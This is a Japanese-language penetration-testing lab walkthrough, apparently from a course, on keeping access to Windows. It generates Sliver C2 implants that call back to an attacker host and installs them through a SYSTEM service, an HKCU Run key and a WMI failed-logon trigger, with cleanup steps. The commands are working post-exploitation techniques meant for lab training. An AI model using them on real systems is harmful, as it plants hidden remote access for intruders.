Skip to content

Lab 3.3: 永続化

Offline Exercise

接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。

目的

  • Sliverで永続化のための複数のファイルタイプを生成する
  • Sliverセッションを作成する永続化サービスを作成する
  • 永続化のためのユーザーレジストリキーを作成する
  • WMIフィルタを使用してログイン失敗を検出し、永続化をトリガーする

ウォークスルービデオ

ラボのセットアップ

使用するVM:

  • Linux
  • Windows

ラボ – ステップバイステップの手順

1: 接続を受信するためのSliverのセットアップ

まず、接続を受信するためにSliverをセットアップする必要があります。Sliverを起動します。

コマンド

sudo sliver-server

ポート443でリスナーをセットアップするために、httpsを実行してリスナーを起動します。

コマンド

https

想定される結果

[server] sliver > https

[*] Starting HTTPS :443 listener ...

[*] Successfully started job #1

[server] sliver >

接続を受信するためのSliverのセットアップが完了しました。次に、いくつかのペイロードを生成しましょう。

2: 永続化のためのSliverペイロードの生成

generateのオプションを見てみましょう。

コマンド

generate -h

想定される結果

[server] sliver > generate -h

...trimmed for brevity...

Flags:
======
-a, --arch               string    cpu architecture (default: amd64)
-c, --canary             string    canary domain(s)
-d, --debug                        enable debug features
-O, --debug-file         string    path to debug output
-G, --disable-sgn                  disable shikata ga nai shellcode encoder
-n, --dns                string    dns connection strings
-e, --evasion                      enable evasion features (e.g. overwrite user space hooks)
-E, --external-builder             use an external builder
-f, --format             string    Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only) (default: exe)
-h, --help                         display help
...trimmed for brevity...

serviceフォーマットを作成できることに注意してください。このフォーマットはサービスコントローラに適切に応答し、30秒後に終了することはありません。この問題については560.4で詳しく説明します。

2つのペイロードを作成しましょう。1つはサービス用、もう1つは標準の実行可能ファイル用です。

コマンド

注意: LINUX_ETH0_ADDRESSをSlingshot Linux VMのeth0 IPアドレスに変更してください。

generate --os windows --arch 64bit --skip-symbols --format service --name service --http https://LINUX_ETH0_ADDRESS
generate --os windows --arch 64bit --skip-symbols --format exe --name payload --http https://LINUX_ETH0_ADDRESS

想定される結果

[server] sliver > generate --os windows --arch 64bit --skip-symbols --format service --name service --http https://10.10.10.186

[*] Generating new windows/amd64 implant binary
[!] Symbol obfuscation is disabled
[*] Build completed in 3s
[*] Implant saved to /home/sec560/service.exe

[server] sliver > generate --os windows --arch 64bit --skip-symbols --format exe --name payload --http https://10.10.10.186

[*] Generating new windows/amd64 implant binary
[!] Symbol obfuscation is disabled
[*] Build completed in 2s
[*] Implant saved to /home/sec560/payload.exe

実際のペンテストでは、アクセスを制限し、割り当てられたテストウィンドウが終了した後にペイロードが実行されないようにする必要があるでしょう。その目的のために-wまたは--limit-datetimeオプションを使用できます。

ファイルができたので、それらをWindowsに転送する必要があります。

3: Windowsへのファイルの転送

このステップでは新しいターミナルを開きます。

ファイルは現在rootユーザーが所有しています。ファイルを見て、これを確認しましょう。

コマンド

ls -l *.exe

想定される結果

sec560@560vm:~$ ls -l *.exe
-rwx------ 1 root root 10981376 Aug 16 03:11 payload.exe
-rwx------ 1 root root 10993664 Aug 16 03:11 service.exe

上記のように、ファイルにはrwxパーミッションがありますが、ファイルの所有者であるrootのみに付与されています。

exeファイルの所有権をsec560ユーザーに変更し、ファイルの所有権を確認します。

コマンド

sudo chown sec560:sec560 *.exe
ls -l *.exe

想定される結果

sec560@560vm:~$ sudo chown sec560:sec560 *.exe
sec560@560vm:~$ ls -l *.exe
-rwx------ 1 sec560 sec560 10981376 Aug 16 03:11 payload.exe
-rwx------ 1 sec560 sec560 10993664 Aug 16 03:11 service.exe

次に、Windowsでファイルを取得できるようにWebサーバーを実行する必要があります。PythonのWebサーバーを実行します。

コマンド

python3 -m http.server

想定される結果

sec560@560vm:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

次に、Windowsに切り替えて、PowerShellでファイルをダウンロードします。Windows VM(sec560ユーザーとしてログオン)に切り替え、デスクトップのTerminalショートカットをクリックしてPowerShellウィンドウを開き、ペイロードファイルをデスクトップにダウンロードします。

コマンド

注意: LINUX_ETH0_ADDRESSをSlingshot Linux VMのeth0 IPアドレスに置き換えてください。

cd Desktop
curl.exe -s http://LINUX_ETH0_ADDRESS:8000/payload.exe -o payload.exe
curl.exe -s http://LINUX_ETH0_ADDRESS:8000/service.exe -o service.exe

想定される結果

PS C:\Users\sec560> cd Desktop
PS C:\Users\sec560\Desktop> curl.exe -s http://192.168.211.128:8000/payload.exe -o payload.exe
PS C:\Users\sec560\Desktop> curl.exe -s http://192.168.211.128:8000/service.exe -o service.exe

これでWindowsにファイルが配置できたので、サービスを使用して最初の永続化を作成しましょう。

4: サービスの永続化

まず、手動でサービスを作成します。scコマンドについては560.4で詳しく説明します。今のところ、コマンドをそのまま使用して、persistという名前のサービスを作成します。

コマンド

sc.exe create persist binpath= "c:\Users\sec560\Desktop\service.exe" start= auto

想定される結果

PS C:\Users\sec560\Desktop> sc.exe create persist binpath= "c:\Users\sec560\Desktop\service.exe" start= auto
[SC] CreateService SUCCESS
PS C:\Users\sec560\Desktop>

「アクセスが拒否されました」というメッセージが表示された場合は、TerminalタブのタイトルにAdministrator:と表示されていることを確認する必要があります。

永続化メカニズムをテストしましょう。Windows VMを再起動し、Linux VMのsliverタブに切り替えます。新しいSliverセッションが表示されるはずです。

想定される結果

[*] Session 6392c9a2 service - 10.10.10.165:49686 (SEC560-Windows) - windows/amd64 - Fri, 16 Aug 2024 03:17:13 UTC

sessions -iを使用してセッションIDの最初の2文字を使用し、このセッションと対話します。この例では6392c9a2なので、短縮IDの63を使用します。あなたのセッションIDは異なります!

コマンド

sessions -i 63

想定される結果

[server] sliver > sessions -i 63

[*] Active session service (6392c9a2)

[server] sliver (service) >  

whoamiで、どのレベルのアクセス権を持っているか確認しましょう。

コマンド

注意: セッションIDが異なる場合は、1の代わりにその番号を使用してください。

whoami

想定される結果

[server] sliver (service) > whoami

Logon ID: NT AUTHORITY\SYSTEM
[*] Current Token ID: NT AUTHORITY\SYSTEM

ご覧のとおり、サービスはSYSTEMとして実行され、この永続化メカニズムにより高レベルのアクセス権が得られます。

サービスを停止して削除することで、Windows上でクリーンアップしましょう。

Windows VMデスクトップのTerminalショートカットをクリックしてPowerShellウィンドウを開き、次のコマンドでサービスを削除します。

コマンド

sc.exe delete persist

想定される結果

PS C:\Users\sec560> sc.exe delete persist
[SC] DeleteService SUCCESS

ご参考までに、サービスを削除してもSliverのセッションは停止しないことに注意してください。セッションは、Windows側でプロセス(service.exe)を終了するまで実行され続けます。

5: HKCU Run 永続化

Windows VM上で、以下のregコマンドを実行して、現在のユーザーのレジストリキーを作成します。

コマンド

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "User Persist" /t REG_SZ /F /D "C:\Users\sec560\Desktop\payload.exe"

想定される結果

PS C:\Users\sec560> reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "User Persist" /t REG_SZ /F /D "C:\Users\sec560\Desktop\payload.exe"
The operation completed successfully.

コマンドのオプションは次のとおりです:

  • reg - 実行するコマンド
  • add - キーを追加
  • "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" - キーを追加する場所
  • /V "User Persist" - キーの名前(値)
  • /t REG_SZ - 文字列型
  • /F - 強制、存在する場合は上書き
  • /D "C:\Users\sec560\Desktop\payload.exe" - データ、実行する実行可能ファイル

代わりにHKLM(HKEY Local Machine)を使用することもでき、これはシステムにログインするすべてのユーザーに対して機能しますが、このキーを使用するには昇格されたアクセス権が必要です。昇格されたアクセス権を必要としないようにHKCU(HKEY Current User)を使用しています。

これをテストするには、Windowsからログアウトし、sec560ユーザーとして再度ログインします。ログインすると、Sliverに新しいセッションが表示されます。これには1〜2分かかる場合があります。

想定される結果

[*] Session b73df7f2 payload - 10.10.10.165:49721 (SEC560-Windows) - windows/amd64 - Fri, 16 Aug 2024 17:17:06 UTC

sessions -iを使用してセッションIDの最初の2文字を使用し、このセッションと対話します。この例ではb73df7f2なので、短縮IDのb7を使用します。あなたのセッションIDは異なります!

コマンド

sessions -i b7

想定される結果

[server] sliver > sessions -i b7

[*] Active session payload (b73df7f2)

[server] sliver (payload) >

whoamiを実行して、現在のアクセス権を確認します。

コマンド

whoami

想定される結果

[server] sliver (payload) > whoami

Logon ID: SEC560-WINDOWS\sec560
[*] Current Token ID: SEC560-WINDOWS\sec560

クリーンアップして、このキーを削除しましょう。PowerShellウィンドウを再度使用して、キーを削除します。

コマンド

reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "User Persist" /F

想定される結果

PS C:\Users\sec560> reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "User Persist" /F
The operation completed successfully.

コマンドのオプションは次のとおりです:

  • reg - 実行するコマンド
  • delete - キーを削除
  • "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" - キーを削除する場所
  • /V "User Persist" - キーの名前(値)

6: WMIイベントフィルタ永続化

WMIイベントフィルタを使用すると、ペイロードをトリガーする方法に多くの柔軟性があります。ユーザーfakeuserのログイン失敗(イベントID 4625)のイベントリスナーをセットアップします。これにより、存在しないユーザーのログイン失敗時にペイロードをトリガーできるようになります!

以下のPowerShellコマンドを使用してフィルタをセットアップします。

セットアップには3つの部分があります。

  1. 最初に使用するコマンドは、UPDATERという名前でイベントフィルタ-Class __EventFilterをセットアップします。次に、クエリは、ログインがfakeuserと一致するログイン失敗(イベントID 4625)を探します。
  2. 2番目の部分は、フィルタが一致したときに何をするかを設定するコンシューマをセットアップします。この場合、UPDATERフィルタに一致するものに対して、C:\Users\sec560\Desktop\payload.exeにあるペイロードを実行させます。
  3. 最後の部分は、トリガーを探してコンシューマ(ペイロード)を実行するためのバインディングをセットアップします。

ここでのコマンドは非常に複雑です。これらのコマンドを管理者権限のPowerShellプロンプトにコピーして貼り付けてください。

コマンド

$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "UPDATER"; Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '4625' And Targetinstance.Message Like '%fakeuser%'"; QueryLanguage = 'WQL'}

$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "UPDATER"; CommandLineTemplate = "C:\Users\sec560\Desktop\payload.exe"}

$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}

これらのコマンドには出力はありません。

フィルタのセットアップが完了したので、Linuxに切り替え、新しいターミナルを開き、smbclientfakeuserでログインを試みます。フィルタがログインを検出するまでに時間がかかる場合があります。最大1分待つ必要があるかもしれません。

コマンド

注意: WINDOWS_ETHERNET0_ADDRESSをローカルのWindows IPアドレス(10.254.x.xで始まるVPNアドレスではない)に置き換えてください。

smbclient --password=badpassword '\\WINDOWS_ETHERNET0_ADDRESS\c$' -U fakeuser 

想定される結果

sec560@560vm:~$ smbclient --password=badpassword '\\10.10.10.165\c$' -U fakeuser 
session setup failed: NT_STATUS_LOGON_FAILU

その後、Sliverに新しいセッションが表示されるはずです!

想定される結果

[*] Session a1233cb9 payload - 10.10.10.165:50796 (SEC560-Windows) - windows/amd64 - Fri, 16 Aug 2024 18:06:50 UTC

sessions -iを使用してセッションIDの最初の2文字を使用し、このセッションと対話します。この例ではa1233cb9なので、短縮IDのa1を使用します。あなたのセッションIDは異なります!

コマンド

sessions -i a1

想定される結果

[server] sliver > sessions -i a1

[*] Active session payload (a1233cb9)

もう一度、whoamiでどのユーザーとして実行されているか確認しましょう。

コマンド

whoami

想定される結果

[server] sliver (payload) > whoami

Logon ID: NT AUTHORITY\SYSTEM
[*] Current Token ID: NT AUTHORITY\SYSTEM

これにより、WindowsでのSYSTEMレベルのアクセス権が得られることがわかります。アクセス権を失った場合、新しいセッションを取得するために必要なのは、存在しないfakeuserとして再度ログインを試みることだけです。

ここで使用した方法は手動で少し複雑であり、これがどのように機能するかの基本を理解することが重要です。ただし、これをより簡単に行うための他のオプションもあります:

  • Metasploit - windows/local/wmi_persistenceモジュールを使用
  • Empire - persistence/elevated/wmiモジュールを使用

開いている既存のPowerShellウィンドウを使用して、このフィルタ、バインディング、およびコンシューマを削除しましょう。

コマンド

# Remove the FilterToConsumerBinding related to 'UPDATER'
$bindings = Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

foreach ($binding in $bindings) {
    # Extract the names from the Filter and Consumer properties
    if ($binding.Filter -match 'Name="([^"]+)"') { $filterName = $Matches[1] } else { $filterName = '' }
    if ($binding.Consumer -match 'Name="([^"]+)"') { $consumerName = $Matches[1] } else { $consumerName = '' }

    if ($filterName -eq 'UPDATER' -or $consumerName -eq 'UPDATER') {
        # Delete the binding
        ([WMI]$binding.__PATH).Delete()
    }
}

# Remove the Event Filter named 'UPDATER'
$eventFilter = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='UPDATER'"
if ($eventFilter) {
    ([WMI]$eventFilter.__PATH).Delete()
}

# Remove the Event Consumer named 'UPDATER'
$eventConsumer = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='UPDATER'"
if ($eventConsumer) {
    ([WMI]$eventConsumer.__PATH).Delete()
}

想定される結果

PS C:\Users\sec560> # Remove the FilterToConsumerBinding related to 'UPDATER'
PS C:\Users\sec560> $bindings = Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
PS C:\Users\sec560>
PS C:\Users\sec560> foreach ($binding in $bindings) {
>>     # Extract the names from the Filter and Consumer properties
>>     if ($binding.Filter -match 'Name="([^"]+)"') { $filterName = $Matches[1] } else { $filterName = '' }
>>     if ($binding.Consumer -match 'Name="([^"]+)"') { $consumerName = $Matches[1] } else { $consumerName = '' }
>>
>>     if ($filterName -eq 'UPDATER' -or $consumerName -eq 'UPDATER') {
>>         # Delete the binding
>>         ([WMI]$binding.__PATH).Delete()
>>     }
>> }
PS C:\Users\sec560>
PS C:\Users\sec560> # Remove the Event Filter named 'UPDATER'
PS C:\Users\sec560> $eventFilter = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='UPDATER'"
PS C:\Users\sec560> if ($eventFilter) {
>>     ([WMI]$eventFilter.__PATH).Delete()
>> }
PS C:\Users\sec560>
PS C:\Users\sec560> # Remove the Event Consumer named 'UPDATER'
PS C:\Users\sec560> $eventConsumer = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='UPDATER'"
PS C:\Users\sec560> if ($eventConsumer) {
>>     ([WMI]$eventConsumer.__PATH).Delete()
>> }
PS C:\Users\sec560>

結論

Windowsシステムへのアクセスを維持するために、さまざまな方法を使用しました。使用するオプションは、アクセスレベルと隠蔽方法の選択によって異なります。永続化を通じてアクセスを維持することは、ペンテストの非常に重要な部分です。アクセスを獲得するために懸命に取り組んだ後にそれを失うことは、すべてのテスターにとってイライラするものです!